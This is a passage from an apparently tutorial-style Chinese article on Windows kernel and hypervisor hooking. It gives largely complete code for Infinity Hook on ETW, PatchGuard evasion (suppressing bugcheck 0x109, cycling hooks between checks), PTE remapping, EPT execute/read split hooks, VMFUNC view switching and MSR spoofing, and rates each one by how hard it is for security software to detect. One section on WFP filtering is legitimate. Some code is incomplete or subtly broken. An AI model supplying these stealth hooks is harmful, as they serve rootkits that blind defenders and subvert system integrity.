PETHREAD currentThread = PsGetCurrentThread();
// 根据 SSN 过滤
switch (SystemCallNumber) {
case 0x26: // NtOpenProcess (SSN 因版本而异)
{
// 可以读取/修改栈上的参数
// StackPointer 指向 syscall 时的用户态栈
// 参数通过寄存器传递(R10, RDX, R8, R9)
break;
}
case 0x3A: // NtReadVirtualMemory
{
// 拦截读内存操作
break;
}
}
// 调用原始 ETW 函数(或者直接不调用,提升性能)
if (g_originalEtwCallback) {
g_originalEtwCallback(SystemCallNumber, StackPointer);
}
}
// 安装 Infinity Hook
NTSTATUS InstallInfinityHook() {
PVOID* pTarget = FindEtwSyscallLogPointer();
if (!pTarget) return STATUS_NOT_FOUND;
g_originalEtwCallback = (fnEtwpCallback)*pTarget;
// 原子替换函数指针
InterlockedExchangePointer(pTarget, (PVOID)InfinityHookCallback);
return STATUS_SUCCESS;
}
NTSTATUS RemoveInfinityHook() {
PVOID* pTarget = FindEtwSyscallLogPointer();
if (!pTarget || !g_originalEtwCallback) return STATUS_UNSUCCESSFUL;
InterlockedExchangePointer(pTarget, (PVOID)g_originalEtwCallback);
g_originalEtwCallback = NULL;
return STATUS_SUCCESS;
}
检测难度:★★★★☆
- 不修改 SSDT,不修改 MSR,不修改 IDT
- 只修改了 ETW 系统内部的一个函数指针
- PatchGuard 不监控该位置(不是关键结构)
- 但微软已在新版 Windows 中加固了某些 Infinity Hook 变种
- 安全软件可以通过检查 ETW 相关全局变量发现异常
优点
- 绕过 PatchGuard
- 能拦截所有 syscall
- 性能开销小(ETW 日志本来就在关键路径上)
- 不需要复杂的 Hypervisor 支持
3.3 Kernel Inline Hook + PatchGuard 绕过
原理
仍然使用 Inline Hook,但配合 PatchGuard 绕过技术。PatchGuard 的检查有固定的定时和 DPC 机制,可以通过多种方式使其失效或规避。
完整实现
#include <ntddk.h>
// ===== 方案 1: Hook KeBugCheckEx 阻止蓝屏 =====
typedef VOID(*fnKeBugCheckEx)(ULONG, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR);
fnKeBugCheckEx OriginalKeBugCheckEx = NULL;
VOID HookedKeBugCheckEx(ULONG BugCheckCode, ULONG_PTR P1, ULONG_PTR P2, ULONG_PTR P3, ULONG_PTR P4) {
if (BugCheckCode == 0x109) { // CRITICAL_STRUCTURE_CORRUPTION
// PatchGuard 检测到异常,阻止蓝屏
// 恢复被修改的数据,让 PatchGuard 下次检查时通过
RestoreAllHooks();
// 不调用原始 KeBugCheckEx,直接返回
// 注意:这不一定安全,PG 可能在蓝屏前已经做了不可逆操作
return;
}
OriginalKeBugCheckEx(BugCheckCode, P1, P2, P3, P4);
}
// ===== 方案 2: 定位并取消 PatchGuard DPC 定时器 =====
// PatchGuard 使用加密的 DPC 定时器,特征:
// - DPC routine 地址指向 ntoskrnl 内部
// - 定时器的 DueTime 通常在 5-10 分钟范围
// - DPC 的 DeferredContext 包含加密的校验数据
NTSTATUS DisablePatchGuardTimers() {
// 遍历系统 DPC 定时器队列
// 需要逆向 KiTimerTableListHead 结构
// 这是极其复杂的操作,需要版本特定的偏移
// 简化版思路:
// 1. 定位 KiTimerTableListHead (通过签名扫描)
// 2. 遍历所有 KTIMER 条目
// 3. 识别 PatchGuard 的定时器(通过 DPC routine 范围、加密特征)
// 4. KeCancelTimer 取消这些定时器
return STATUS_NOT_IMPLEMENTED; // 实际实现极其版本相关
}
// ===== 方案 3: 利用 PatchGuard 的时间窗口 =====
// PG 检查间隔约 5-10 分钟(随机化)
// 策略:在检查之前恢复,检查之后再安装
typedef struct _PG_AWARE_HOOK {
PVOID target;
PVOID detour;
BYTE originalBytes[14];
BOOLEAN isInstalled;
KTIMER cycleTimer;
KDPC cycleDpc;
} PG_AWARE_HOOK;
// 周期性安装/卸载 Hook(在 PG 检查时间窗口内)
VOID PgCycleDpcRoutine(PKDPC Dpc, PVOID Context, PVOID Arg1, PVOID Arg2) {
PG_AWARE_HOOK* hook = (PG_AWARE_HOOK*)Context;
if (hook->isInstalled) {
// 卸载 Hook(PG 可能即将检查)
RestoreInlineHook(hook);
hook->isInstalled = FALSE;
// 500ms 后重新安装
LARGE_INTEGER interval;
interval.QuadPart = -5000000; // 500ms
KeSetTimer(&hook->cycleTimer, interval, &hook->cycleDpc);
} else {
// 安装 Hook
InstallInlineHook(hook);
hook->isInstalled = TRUE;
// 4 分钟后卸载(在 PG 5 分钟周期之前)
LARGE_INTEGER interval;
interval.QuadPart = -2400000000LL; // 240 seconds
KeSetTimer(&hook->cycleTimer, interval, &hook->cycleDpc);
}
}
检测难度:★★★☆☆
- 绕过 PatchGuard 后 Inline Hook 本身仍可通过代码完整性校验对比发现
- 时间窗口方案有风险:PG 的定时有随机性
- 是猫鼠游戏中的一个折中方案
3.4 WFP Callout Hook(网络层)
原理
Windows Filtering Platform(WFP)允许驱动注册 Callout 来处理网络数据包。这是微软官方推荐的网络过滤方式,替代了旧的 TDI/NDIS Hook。
完整实现
#include <ntddk.h>
#include <fwpsk.h>
#include <fwpmk.h>
HANDLE g_engineHandle = NULL;
UINT32 g_calloutId = 0;
UINT64 g_filterId = 0;
// WFP Callout GUID(需要唯一)
DEFINE_GUID(WFP_CALLOUT_GUID,
0x12345678, 0xABCD, 0xEF01, 0x23, 0x45, 0x67, 0x89, 0xAB, 0xCD, 0xEF, 0x01);
// 数据包分类回调(核心逻辑在这里)
void NTAPI ClassifyCallback(
const FWPS_INCOMING_VALUES0* inFixedValues,
const FWPS_INCOMING_METADATA_VALUES0* inMetaValues,
void* layerData,
const FWPS_FILTER0* filter,
UINT64 flowContext,
FWPS_CLASSIFY_OUT0* classifyOut) {
// 获取远程 IP 和端口
UINT32 remoteIp = inFixedValues->incomingValue[
FWPS_FIELD_OUTBOUND_TRANSPORT_V4_IP_REMOTE_ADDRESS].value.uint32;
UINT16 remotePort = inFixedValues->incomingValue[
FWPS_FIELD_OUTBOUND_TRANSPORT_V4_IP_REMOTE_PORT].value.uint16;
UINT8 protocol = inFixedValues->incomingValue[
FWPS_FIELD_OUTBOUND_TRANSPORT_V4_IP_PROTOCOL].value.uint8;
// 获取发起进程
UINT64 processId = 0;
if (FWPS_IS_METADATA_FIELD_PRESENT(inMetaValues, FWPS_METADATA_FIELD_PROCESS_ID)) {
processId = inMetaValues->processId;
}
// 过滤逻辑
if (ShouldBlockConnection(remoteIp, remotePort, processId)) {
classifyOut->actionType = FWP_ACTION_BLOCK;
classifyOut->rights &= ~FWPS_RIGHT_ACTION_WRITE;
} else {
classifyOut->actionType = FWP_ACTION_PERMIT;
}
}
// 通知回调
NTSTATUS NTAPI NotifyCallback(FWPS_CALLOUT_NOTIFY_TYPE notifyType,
const GUID* filterKey, FWPS_FILTER0* filter) {
return STATUS_SUCCESS;
}
// 注册 WFP Callout + Filter
NTSTATUS InstallWfpHook(PDEVICE_OBJECT deviceObject) {
NTSTATUS status;
FWPM_SESSION0 session = {0};
session.flags = FWPM_SESSION_FLAG_DYNAMIC; // 驱动卸载时自动清理
// 打开 WFP 引擎
status = FwpmEngineOpen0(NULL, RPC_C_AUTHN_WINNT, NULL, &session, &g_engineHandle);
if (!NT_SUCCESS(status)) return status;
// 注册 Callout(内核层)
FWPS_CALLOUT0 sCallout = {0};
sCallout.calloutKey = WFP_CALLOUT_GUID;
sCallout.classifyFn = ClassifyCallback;
sCallout.notifyFn = NotifyCallback;
status = FwpsCalloutRegister0(deviceObject, &sCallout, &g_calloutId);
if (!NT_SUCCESS(status)) goto cleanup;
// 注册 Callout(管理层)
FWPM_CALLOUT0 mCallout = {0};
mCallout.calloutKey = WFP_CALLOUT_GUID;
mCallout.displayData.name = L"My Network Hook";
mCallout.applicableLayer = FWPM_LAYER_OUTBOUND_TRANSPORT_V4;
status = FwpmCalloutAdd0(g_engineHandle, &mCallout, NULL, NULL);
if (!NT_SUCCESS(status)) goto cleanup;
// 添加 Filter
FWPM_FILTER0 filter = {0};
filter.layerKey = FWPM_LAYER_OUTBOUND_TRANSPORT_V4;
filter.displayData.name = L"My Network Filter";
filter.action.type = FWP_ACTION_CALLOUT_TERMINATING;
filter.action.calloutKey = WFP_CALLOUT_GUID;
filter.weight.type = FWP_UINT8;
filter.weight.uint8 = 0xF; // 高优先级
status = FwpmFilterAdd0(g_engineHandle, &filter, NULL, &g_filterId);
cleanup:
if (!NT_SUCCESS(status)) {
if (g_engineHandle) FwpmEngineClose0(g_engineHandle);
}
return status;
}
检测难度:★☆☆☆☆(但完全合法)
- 完全合法的 API,所有安全软件都用这个
- 通过
FwpmFilterEnum/FwpmCalloutEnum 可以枚举所有注册的过滤器
- 需要签名驱动
3.5 Page Table Hook(PTE 修改)
原理
修改页表(PTE)中的页帧号(PFN),让目标虚拟地址映射到另外准备好的包含 Hook 代码的物理页帧。读取时看到原始代码页,执行时走到我们的页。
完整实现(含动态 PTE Base 定位)
#include <ntddk.h>
// PTE Base 地址(Windows 10 RS1+ 每次启动随机化)
ULONG64 g_pteBase = 0;
ULONG64 g_pdeBase = 0;
// 动态定位 PTE Base(核心难点)
ULONG64 FindPteBase() {
// 方法 1:通过 MiGetPteAddress 内部引用
// MiGetPteAddress 是一个内联函数,但某些导出函数内部会使用它
// 可以从 MmGetVirtualForPhysical 等函数中搜索特征
// 方法 2:暴力搜索 — 利用自引用页表原理
// PTE base 的 PTE 条目指向自己的物理页
// 遍历可能的 PTE base 值,验证自引用
// 方法 3:通过 nt!MmPteBase 全局变量
// 在 ntoskrnl 的 .data 段中搜索
// 实现方法 1:从导出函数签名定位
UNICODE_STRING funcName;
RtlInitUnicodeString(&funcName, L"MmGetVirtualForPhysical");
BYTE* pFunc = (BYTE*)MmGetSystemRoutineAddress(&funcName);
if (pFunc) {
// 搜索 mov rax, [MmPteBase] 模式
// 48 8B 05 XX XX XX XX (mov rax, [rip+offset])
for (ULONG i = 0; i < 0x100; i++) {
if (pFunc[i] == 0x48 && pFunc[i+1] == 0x8B && pFunc[i+2] == 0x05) {
INT32 offset = *(INT32*)(pFunc + i + 3);
ULONG64* pPteBase = (ULONG64*)(pFunc + i + 7 + offset);
if (MmIsAddressValid(pPteBase)) {
return *pPteBase;
}
}
}
}
// 方法 2:暴力方式
// Windows 10 PTE base 范围:0xFFFF800000000000 - 0xFFFFF00000000000
// 步进 0x8000000000 (512GB for each PML4 entry)
for (ULONG64 base = 0xFFFF800000000000ULL; base < 0xFFFFF00000000000ULL; base += 0x8000000000ULL) {
// 验证:PTE of PTE base 应该是有效的且 Present
__try {
ULONG64 pteOfBase = base + ((base >> 9) & 0x7FFFFFFFF8ULL);
if (MmIsAddressValid((PVOID)pteOfBase)) {
// 进一步验证自引用
ULONG64 value = *(ULONG64*)pteOfBase;
if (value & 1) { // Present bit
g_pteBase = base;
return base;
}
}
} __except(EXCEPTION_EXECUTE_HANDLER) {
continue;
}
}
return 0;
}
// 虚拟地址 → PTE 地址
PULONG64 GetPteAddress(PVOID virtualAddress) {
if (!g_pteBase) g_pteBase = FindPteBase();
ULONG64 va = (ULONG64)virtualAddress;
return (PULONG64)(g_pteBase + ((va >> 9) & 0x7FFFFFFFF8ULL));
}
// 虚拟地址 → PDE 地址
PULONG64 GetPdeAddress(PVOID virtualAddress) {
PULONG64 pte = GetPteAddress(virtualAddress);
return GetPteAddress(pte);
}
// PTE Hook 实现
typedef struct _PTE_HOOK {
PVOID targetVa; // 目标虚拟地址
PHYSICAL_ADDRESS origPhys; // 原始物理页
PHYSICAL_ADDRESS hookPhys; // Hook 物理页
ULONG64 origPte; // 原始 PTE 值
PVOID hookPage; // Hook 页内容
} PTE_HOOK;
NTSTATUS InstallPteHook(PTE_HOOK* hook, PVOID targetVa, PVOID hookCode, ULONG hookSize) {
hook->targetVa = (PVOID)((ULONG_PTR)targetVa & ~0xFFF); // 页对齐
// 获取原始物理地址
hook->origPhys = MmGetPhysicalAddress(hook->targetVa);
// 分配 Hook 页(NonPaged,确保物理连续)
hook->hookPage = MmAllocateNonCachedMemory(PAGE_SIZE);
if (!hook->hookPage) return STATUS_INSUFFICIENT_RESOURCES;
// 复制原始页内容到 Hook 页
RtlCopyMemory(hook->hookPage, hook->targetVa, PAGE_SIZE);
// 在 Hook 页的目标偏移写入我们的代码
ULONG offset = (ULONG)((ULONG_PTR)targetVa & 0xFFF);
RtlCopyMemory((BYTE*)hook->hookPage + offset, hookCode, hookSize);
// 获取 Hook 页的物理地址
hook->hookPhys = MmGetPhysicalAddress(hook->hookPage);
// 修改 PTE:将 PFN 指向 Hook 页
PULONG64 pte = GetPteAddress(hook->targetVa);
hook->origPte = *pte;
// 构建新 PTE:保留原有属性,只改 PFN
ULONG64 newPte = hook->origPte;
newPte &= 0xFFF0000000000FFFULL; // 清除 PFN 位
newPte |= (hook->hookPhys.QuadPart & 0x000FFFFFFFFFF000ULL); // 设置新 PFN
// 原子写入 PTE
_disable();
InterlockedExchange64((LONG64*)pte, newPte);
// 刷新 TLB
__invlpg(hook->targetVa);
_enable();
return STATUS_SUCCESS;
}
NTSTATUS RemovePteHook(PTE_HOOK* hook) {
PULONG64 pte = GetPteAddress(hook->targetVa);
_disable();
InterlockedExchange64((LONG64*)pte, hook->origPte);
__invlpg(hook->targetVa);
_enable();
if (hook->hookPage) {
MmFreeNonCachedMemory(hook->hookPage, PAGE_SIZE);
hook->hookPage = NULL;
}
return STATUS_SUCCESS;
}
检测难度:★★★★☆
- 不修改任何代码字节(从虚拟地址读取看到的还是原始内容?不一定,取决于实现方式)
- 单纯 PTE Hook 读和执行走同一个物理页,代码完整性校验会失败
- 但 PTE 条目的值被修改了,通过遍历页表可以发现 PFN 异常
- PatchGuard 不直接校验所有 PTE,但某些关键页面的 PTE 在监控范围内
- Windows 10 RS1+ 的 PTE base 随机化增加了定位难度
第四层:Hypervisor 级 Hook(Ring -1)— 极致隐蔽
这是 Windows 平台上隐蔽性最强的一层。Hypervisor 运行在所有软件的下面(包括 Windows 内核),拥有对物理内存、CPU 状态、I/O 的完全控制权。在这个层面实施的 Hook,操作系统本身看到的所有信息都可以被伪造。
4.1 EPT Hook(扩展页表 Hook)— 读写/执行分离
原理
EPT(Extended Page Table)是 Intel VT-x 提供的第二层地址翻译。Guest 的物理地址(GPA)通过 EPT 映射到实际的主机物理地址(HPA)。EPT 的每个条目都有独立的 Read/Write/Execute 权限位。
核心思想:对同一个 GPA,让读写操作映射到干净原始页,让执行操作映射到包含 Hook 代码的页。
EPT 条目结构
typedef union _EPT_PTE {
ULONG64 Value;
struct {
ULONG64 ReadAccess : 1;
ULONG64 WriteAccess : 1;
ULONG64 ExecuteAccess : 1;
ULONG64 MemoryType : 3; // 0=UC, 6=WB
ULONG64 IgnorePat : 1;
ULONG64 LargePage : 1; // 2MB/1GB 大页
ULONG64 Accessed : 1;
ULONG64 Dirty : 1;
ULONG64 UserModeExecute : 1; // MBEC
ULONG64 Reserved1 : 1;
ULONG64 PhysicalAddress : 40; // 物理页帧号
ULONG64 Reserved2 : 11;
ULONG64 SuppressVE : 1; // #VE 抑制
};
} EPT_PTE, *PEPT_PTE;
typedef union _EPTP {
ULONG64 Value;
struct {
ULONG64 MemoryType : 3; // EPT 页表自身的内存类型
ULONG64 PageWalkLength : 3; // 页表遍历深度-1 (3=4级)
ULONG64 DirtyAndAccessEnabled : 1;
ULONG64 Reserved1 : 5;
ULONG64 PML4PhysicalAddress : 40;
ULONG64 Reserved2 : 12;
};
} EPTP;
完整实现(从 Hypervisor 初始化到 Hook 安装)
#include <ntddk.h>
#include <intrin.h>
// ===== EPT 页表构建 =====
typedef struct _EPT_STATE {
DECLSPEC_ALIGN(PAGE_SIZE) EPT_PTE PML4[512];
DECLSPEC_ALIGN(PAGE_SIZE) EPT_PTE PDPT[512];
DECLSPEC_ALIGN(PAGE_SIZE) EPT_PTE PD[512][512]; // 512 个 PD,每个 512 条目
// 对于 2MB 大页映射,不需要 PT 层
// 对于需要精确控制的页,单独分配 PT
EPTP Eptp;
} EPT_STATE;
// 构建恒等映射 EPT(GPA == HPA,2MB 大页)
NTSTATUS BuildIdentityEpt(EPT_STATE* ept) {
RtlZeroMemory(ept, sizeof(EPT_STATE));
// PML4[0] -> PDPT
ept->PML4[0].ReadAccess = 1;
ept->PML4[0].WriteAccess = 1;
ept->PML4[0].ExecuteAccess = 1;
ept->PML4[0].PhysicalAddress = MmGetPhysicalAddress(ept->PDPT).QuadPart >> 12;
// PDPT -> PD
for (int i = 0; i < 512; i++) {
ept->PDPT[i].ReadAccess = 1;
ept->PDPT[i].WriteAccess = 1;
ept->PDPT[i].ExecuteAccess = 1;
ept->PDPT[i].PhysicalAddress = MmGetPhysicalAddress(&ept->PD[i]).QuadPart >> 12;
}
// PD -> 2MB 大页直接映射(覆盖 0 - 512GB 物理内存)
for (int i = 0; i < 512; i++) {
for (int j = 0; j < 512; j++) {
ULONG64 physAddr = ((ULONG64)i * 512 + j) * 0x200000; // 2MB per entry
ept->PD[i][j].ReadAccess = 1;
ept->PD[i][j].WriteAccess = 1;
ept->PD[i][j].ExecuteAccess = 1;
ept->PD[i][j].LargePage = 1;
ept->PD[i][j].MemoryType = 6; // WB
ept->PD[i][j].PhysicalAddress = physAddr >> 12;
}
}
// 配置 EPTP
ept->Eptp.MemoryType = 6; // WB
ept->Eptp.PageWalkLength = 3; // 4-level
ept->Eptp.PML4PhysicalAddress = MmGetPhysicalAddress(ept->PML4).QuadPart >> 12;
return STATUS_SUCCESS;
}
// ===== 将 2MB 大页拆分为 4KB 页(精确控制单个页的权限)=====
typedef struct _EPT_SPLIT_PAGE {
DECLSPEC_ALIGN(PAGE_SIZE) EPT_PTE PT[512]; // 512 个 4KB PTE
} EPT_SPLIT_PAGE;
NTSTATUS SplitLargePage(EPT_STATE* ept, ULONG64 targetPhysAddr) {
// 确定目标在哪个 PD entry
ULONG pdptIndex = (targetPhysAddr >> 30) & 0x1FF;
ULONG pdIndex = (targetPhysAddr >> 21) & 0x1FF;
EPT_PTE* pdEntry = &ept->PD[pdptIndex][pdIndex];
if (!pdEntry->LargePage) return STATUS_SUCCESS; // 已经拆分过
// 分配 PT 页
EPT_SPLIT_PAGE* splitPage = ExAllocatePoolWithTag(NonPagedPool, sizeof(EPT_SPLIT_PAGE), 'tpES');
if (!splitPage) return STATUS_INSUFFICIENT_RESOURCES;
// 用 512 个 4KB 条目填充,恒等映射
ULONG64 basePhys = (pdEntry->PhysicalAddress << 12) & ~0x1FFFFFULL; // 2MB 对齐
for (int i = 0; i < 512; i++) {
splitPage->PT[i].ReadAccess = 1;
splitPage->PT[i].WriteAccess = 1;
splitPage->PT[i].ExecuteAccess = 1;
splitPage->PT[i].MemoryType = 6;
splitPage->PT[i].PhysicalAddress = (basePhys + i * PAGE_SIZE) >> 12;
}
// 将 PD entry 从大页改为指向 PT
pdEntry->Value = 0;
pdEntry->ReadAccess = 1;
pdEntry->WriteAccess = 1;
pdEntry->ExecuteAccess = 1;
pdEntry->PhysicalAddress = MmGetPhysicalAddress(splitPage->PT).QuadPart >> 12;
// LargePage = 0(默认,表示指向下一级 PT)
// 刷新 EPT TLB
InveptAllContexts();
return STATUS_SUCCESS;
}
// ===== EPT Hook 安装 =====
typedef struct _EPT_HOOK_ENTRY {
ULONG64 targetPhysAddr; // 目标物理地址(页对齐)
ULONG64 originalHpa; // 原始 HPA(干净页)
ULONG64 shadowHpa; // Shadow HPA(Hook 代码页)
EPT_PTE* pEptPte; // 对应的 EPT PTE
PVOID shadowPage; // Shadow 页虚拟地址
ULONG functionOffset; // 函数在页内的偏移
LIST_ENTRY listEntry;
} EPT_HOOK_ENTRY;
LIST_ENTRY g_hookList;
NTSTATUS InstallEptHook(EPT_STATE* ept, PVOID targetFunction, PVOID hookFunction) {
// 获取目标函数的物理地址
PHYSICAL_ADDRESS targetPhys = MmGetPhysicalAddress(targetFunction);
ULONG64 targetPhysPage = targetPhys.QuadPart & ~0xFFF;
// 拆分大页
SplitLargePage(ept, targetPhysPage);
// 分配 Shadow Page
PVOID shadowPage = ExAllocatePoolWithTag(NonPagedPool, PAGE_SIZE, 'wdhS');
if (!shadowPage) return STATUS_INSUFFICIENT_RESOURCES;
// 复制原始页内容
PVOID mappedOriginal = MmMapIoSpace(targetPhys, PAGE_SIZE, MmNonCached);
RtlCopyMemory(shadowPage, mappedOriginal, PAGE_SIZE);
MmUnmapIoSpace(mappedOriginal, PAGE_SIZE);
// 在 Shadow Page 中目标偏移处写入跳转
ULONG offset = targetPhys.LowPart & 0xFFF;
BYTE* hookPoint = (BYTE*)shadowPage + offset;
// 写入 14 字节绝对跳转
hookPoint[0] = 0xFF;
hookPoint[1] = 0x25;
*(UINT32*)(hookPoint + 2) = 0;
*(UINT64*)(hookPoint + 6) = (UINT64)hookFunction;
// 配置 EPT:初始状态 = Read+Write, 禁止 Execute
// ... 这里需要根据你的 EPT 结构定位到正确的 PTE
// 保存 Hook 信息
EPT_HOOK_ENTRY* entry = ExAllocatePoolWithTag(NonPagedPool, sizeof(EPT_HOOK_ENTRY), 'kooH');
entry->targetPhysAddr = targetPhysPage;
entry->originalHpa = targetPhysPage;
entry->shadowHpa = MmGetPhysicalAddress(shadowPage).QuadPart;
entry->shadowPage = shadowPage;
entry->functionOffset = offset;
InsertTailList(&g_hookList, &entry->listEntry);
// 设置 EPT PTE:RW=干净页, X=禁止(触发 Execute 时切换到 shadow)
entry->pEptPte->ReadAccess = 1;
entry->pEptPte->WriteAccess = 1;
entry->pEptPte->ExecuteAccess = 0; // 执行时触发 EPT Violation
entry->pEptPte->PhysicalAddress = entry->originalHpa >> 12;
InveptAllContexts();
return STATUS_SUCCESS;
}
// ===== VM-Exit Handler: EPT Violation 处理 =====
void HandleEptViolation(PVMX_VCPU vcpu) {
ULONG64 guestPhysAddr = __vmx_vmread(VMCS_GUEST_PHYSICAL_ADDRESS);
ULONG64 qualification = __vmx_vmread(VMCS_EXIT_QUALIFICATION);
BOOLEAN isExecute = (qualification >> 2) & 1;
BOOLEAN isRead = qualification & 1;
BOOLEAN isWrite = (qualification >> 1) & 1;
// 查找对应的 Hook
EPT_HOOK_ENTRY* hook = FindHookByPhysAddr(guestPhysAddr & ~0xFFF);
if (!hook) {
// 不是我们的 Hook,注入异常
InjectException(vcpu, EXCEPTION_GENERAL_PROTECTION);
return;
}
if (isExecute) {
// CPU 要执行这个页 → 切换到 Shadow Page(含 Hook 跳转)
hook->pEptPte->ReadAccess = 0;
hook->pEptPte->WriteAccess = 0;
hook->pEptPte->ExecuteAccess = 1;
hook->pEptPte->PhysicalAddress = hook->shadowHpa >> 12;
} else {
// CPU 要读/写这个页 → 切换到 Original Page(干净代码)
hook->pEptPte->ReadAccess = 1;
hook->pEptPte->WriteAccess = 1;
hook->pEptPte->ExecuteAccess = 0;
hook->pEptPte->PhysicalAddress = hook->originalHpa >> 12;
}
InveptSingleContext(vcpu->eptp);
// 设置 Monitor Trap Flag:执行一条指令后恢复初始状态
ULONG64 procCtls = __vmx_vmread(VMCS_PROC_BASED_CONTROLS);
__vmx_vmwrite(VMCS_PROC_BASED_CONTROLS, procCtls | VMX_PROC_CTL_MONITOR_TRAP_FLAG);
}
// MTF 处理:单条指令执行完毕后恢复
void HandleMonitorTrapFlag(PVMX_VCPU vcpu) {
// 恢复所有 Hook 页为初始状态(RW=原始, X=禁止)
PLIST_ENTRY entry = g_hookList.Flink;
while (entry != &g_hookList) {
EPT_HOOK_ENTRY* hook = CONTAINING_RECORD(entry, EPT_HOOK_ENTRY, listEntry);
hook->pEptPte->ReadAccess = 1;
hook->pEptPte->WriteAccess = 1;
hook->pEptPte->ExecuteAccess = 0;
hook->pEptPte->PhysicalAddress = hook->originalHpa >> 12;
entry = entry->Flink;
}
// 关闭 MTF
ULONG64 procCtls = __vmx_vmread(VMCS_PROC_BASED_CONTROLS);
__vmx_vmwrite(VMCS_PROC_BASED_CONTROLS, procCtls & ~VMX_PROC_CTL_MONITOR_TRAP_FLAG);
InveptSingleContext(vcpu->eptp);
}
检测难度:★★★★★
- 操作系统读取目标函数时,看到的是完全干净的原始代码
- PatchGuard 所有完整性校验读取都被 EPT 重定向到干净页
- CRC 校验、memcmp 对比、内存扫描全部通过
- 唯一理论检测方式:时序分析(EPT Violation 导致的微小延迟)
4.2 VMFUNC EPTP Switching(零 VM-Exit 的 EPT 切换)
原理
VMFUNC 是 Intel 在 Haswell+ 处理器上引入的指令,允许 Guest 在不触发 VM-Exit 的情况下切换 EPTP(EPT Pointer),即瞬间切换到不同的物理内存视图。
完整实现
// ===== VMCS 配置:启用 VMFUNC =====
void EnableVmfuncInVmcs() {
// 启用 Secondary Proc-Based Controls 中的 VMFUNC bit
ULONG64 secondary = __vmx_vmread(VMCS_SECONDARY_PROC_BASED_CONTROLS);
secondary |= (1ULL << 13); // Enable VMFUNC
__vmx_vmwrite(VMCS_SECONDARY_PROC_BASED_CONTROLS, secondary);
// VMFUNC Controls: 只启用 function 0 (EPTP Switching)
__vmx_vmwrite(VMCS_VMFUNC_CONTROLS, 1ULL);
// 配置 EPTP List(最多 512 个 EPTP)
DECLSPEC_ALIGN(PAGE_SIZE) ULONG64 eptpList[512] = {0};
eptpList[0] = g_cleanEptp.Value; // Index 0: 干净视图(默认)
eptpList[1] = g_hookedEptp.Value; // Index 1: Hook 视图
PHYSICAL_ADDRESS eptpListPhys = MmGetPhysicalAddress(eptpList);
__vmx_vmwrite(VMCS_EPTP_LIST_ADDRESS, eptpListPhys.QuadPart);
}
// ===== Guest 端切换代码 =====
// 切换到 Hook 视图(Guest 内核代码调用)
__forceinline void SwitchToHookView() {
// VMFUNC: EAX=0 (function=EPTP Switching), ECX=1 (EPTP index)
__asm {
xor eax, eax // function 0
mov ecx, 1 // switch to index 1
_emit 0x0F // VMFUNC opcode
_emit 0x01
_emit 0xC4
}
}
// 切换到干净视图
__forceinline void SwitchToCleanView() {
__asm {
xor eax, eax
xor ecx, ecx // switch to index 0
_emit 0x0F
_emit 0x01
_emit 0xC4
}
}
// ===== 高级应用:自动切换的 Hook Trampoline =====
// 在 Hook 函数入口自动切换视图,退出时切换回来
BYTE g_vmfuncTrampoline[] = {
// Switch to clean view (index 0)
0x31, 0xC0, // xor eax, eax
0x31, 0xC9, // xor ecx, ecx
0x0F, 0x01, 0xC4, // vmfunc
// Call hook handler (address patched at runtime)
0xFF, 0x15, 0x02, 0x00, 0x00, 0x00, // call [rip+2]
0xEB, 0x08, // jmp over address
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // hook_handler address
// Switch back to hook view (index 1)
0x31, 0xC0, // xor eax, eax
0xB9, 0x01, 0x00, 0x00, 0x00, // mov ecx, 1
0x0F, 0x01, 0xC4, // vmfunc
// Jump to original function trampoline (address patched)
0xFF, 0x25, 0x00, 0x00, 0x00, 0x00, // jmp [rip+0]
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 // original_trampoline address
};
对比普通 EPT Hook
| 维度 |
普通 EPT Hook |
VMFUNC EPTP Switching |
| 视图切换方式 |
EPT Violation → VM-Exit |
VMFUNC 指令(无 VM-Exit) |
| 性能开销 |
每次切换 ~1000-3000 cycles |
~100 cycles |
| 时序攻击风险 |
有(VM-Exit 延迟可测量) |
极低(指令级速度) |
| CPU 要求 |
VT-x + EPT |
Haswell+ (2013+) |
| 复杂度 |
中等 |
高(需要维护多套 EPT) |
检测难度:★★★★★+
- 没有 VM-Exit,时序攻击基本无效
- CPUID 可以被拦截来隐藏 VMFUNC 支持
- 目前没有已知的可靠检测方法
4.3 EPT + MSR Bitmap 联合 Hook
原理
VMX 的 MSR Bitmap 可以选择性地让某些 MSR 的读写触发 VM-Exit。配合 EPT Hook,可以拦截任何通过 MSR 实现的功能(性能计数器、电源控制、安全特性等),同时让检测工具读到伪造的 MSR 值。
完整实现
// MSR Bitmap 结构(4KB 页,4个区域各 1KB)
// 0x000-0x3FF: Low MSRs read (MSR 0x00000000 - 0x00001FFF)
// 0x400-0x7FF: High MSRs read (MSR 0xC0000000 - 0xC0001FFF)
// 0x800-0xBFF: Low MSRs write
// 0xC00-0xFFF: High MSRs write
DECLSPEC_ALIGN(PAGE_SIZE) UCHAR g_msrBitmap[PAGE_SIZE] = {0};
void SetupMsrBitmap() {
RtlZeroMemory(g_msrBitmap, PAGE_SIZE);
// 拦截 IA32_LSTAR 的读取(让检测工具看到假值)
// IA32_LSTAR = 0xC0000082
// 在 High MSR read bitmap 中: offset = 0x400 + (0x82 / 8) = 0x410, bit = 0x82 % 8 = 2
g_msrBitmap[0x410] |= (1 << 2); // RDMSR 触发 VM-Exit
// 也可以拦截写入
g_msrBitmap[0xC10] |= (1 << 2); // WRMSR 触发 VM-Exit
// 拦截 IA32_DEBUGCTL (用于隐藏调试特性)
// 0x1D9 → Low MSR read: offset = 0x000 + (0x1D9 / 8) = 0x3B, bit = 0x1D9 % 8 = 1
g_msrBitmap[0x3B] |= (1 << 1);
// 写入 VMCS
PHYSICAL_ADDRESS msrBitmapPhys = MmGetPhysicalAddress(g_msrBitmap);
__vmx_vmwrite(VMCS_MSR_BITMAP_ADDRESS, msrBitmapPhys.QuadPart);
}
// VM-Exit Handler: 伪造 MSR 值
void HandleMsrRead(PVMX_VCPU vcpu) {
ULONG msrIndex = (ULONG)vcpu->guestState.Rcx;
ULONG64 realValue;
switch (msrIndex) {
case 0xC0000082: // IA32_LSTAR
// 返回原始的 KiSystemCall64 地址(即使实际已被修改)
realValue = g_originalKiSystemCall64;
break;
case 0x1D9: // IA32_DEBUGCTL
// 隐藏任何调试相关设置
realValue = 0;
break;
default:
realValue = __readmsr(msrIndex);
break;
}
vcpu->guestState.Rax = (ULONG)(realValue & 0xFFFFFFFF);
vcpu->guestState.Rdx = (ULONG)(realValue >> 32);
AdvanceGuestRip(vcpu);
}
